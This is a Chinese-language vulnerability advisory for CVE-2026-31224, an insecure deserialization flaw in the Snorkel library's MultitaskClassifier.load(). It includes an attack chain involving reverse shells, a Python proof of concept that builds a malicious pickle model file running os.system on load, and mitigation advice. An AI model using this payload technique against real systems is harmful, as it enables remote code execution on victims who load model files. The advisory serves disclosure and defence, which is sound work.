IPBUF安全漏洞报告
English
CVE-2026-31224 CVSS 8.8 高危

CVE-2026-31224 Snorkel库不安全反序列化漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-31224
漏洞类型
不安全的反序列化
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Snorkel

相关标签

CWE-502反序列化远程代码执行SnorkelPyTorchRCE

漏洞概述

Snorkel库在v0.10.0及之前的版本中存在严重的不安全反序列化漏洞。该漏洞位于MultitaskClassifier类的load()方法中,由于使用了不安全的torch.load()函数加载模型权重且未设置weights_only=True参数,导致存在反序列化缺陷。攻击者可利用此漏洞诱导受害者加载恶意模型文件,从而在受害者系统上执行任意代码,造成严重的安全风险。

技术细节

该漏洞的根本原因是Python的Pickle模块在反序列化过程中存在的不安全性。Snorkel库的MultitaskClassifier类在实现load()方法时,直接调用了PyTorch的torch.load()函数来恢复模型权重。由于torch.load()默认使用Pickle进行序列化操作,且Snorkel未指定weights_only=True参数,使得反序列化过程不受限制。攻击者可利用Pickle的__reduce__魔术方法构造一个恶意的序列化对象,该对象在被加载时会触发回调函数执行任意系统命令。在攻击场景中,攻击者首先制作一个包含恶意Payload的伪造模型文件,并将其分发或上传至受害者可访问的位置。当受害者使用存在漏洞的Snorkel库版本调用MultitaskClassifier.load()加载该文件时,恶意代码即会在反序列化阶段自动执行,导致服务器被远程控制。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统正在使用Snorkel库,且版本在v0.10.0或以下。
STEP 2
武器化
攻击者编写Python脚本,利用Pickle的__reduce__方法构造包含恶意命令(如反弹Shell)的序列化对象,并将其保存为.pt模型文件。
STEP 3
交付
攻击者将伪造的恶意模型文件上传到公共模型库、通过钓鱼邮件发送,或替换合法的模型文件。
STEP 4
利用
受害者(开发者或系统)使用Snorkel的MultitaskClassifier.load()方法加载了该恶意模型文件。
STEP 5
执行
由于torch.load()默认使用Pickle反序列化,恶意对象中的__reduce__方法被触发,预设的任意代码在受害者机器上执行。
STEP 6
达成目标
攻击者获得目标系统的控制权,可进一步窃取数据、破坏系统或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import torch import pickle # Define a malicious class that executes code upon deserialization class MaliciousPayload: def __reduce__(self): # Execute a shell command when unpickled # Example: creating a file to prove execution return (os.system, ('echo "CVE-2026-31224 Exploit Success" > /tmp/pwned.txt',)) # Create the malicious model file def create_malicious_model(filename): malicious_obj = MaliciousPayload() # torch.save uses pickle by default torch.save(malicious_obj, filename) print(f"[+] Malicious model file created: {filename}") # Simulate the vulnerable loading process def simulate_vulnerable_load(filename): try: print(f"[*] Attempting to load model using vulnerable torch.load()...") # This mimics Snorkel's MultitaskClassifier.load() behavior # which calls torch.load() without weights_only=True data = torch.load(filename) print("[-] Model loaded.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": model_file = "exploit_model.pt" create_malicious_model(model_file) simulate_vulnerable_load(model_file)

影响范围

Snorkel <= v0.10.0

防御指南

临时缓解措施
在官方补丁发布前,建议开发者严格审查所有加载的模型文件来源,切勿加载未经验证的第三方模型。如果必须加载,应在隔离的沙箱环境中进行。同时,开发者可以临时修改Snorkel库源码,将torch.load()调用替换为torch.load(..., weights_only=True)以阻断反序列化攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表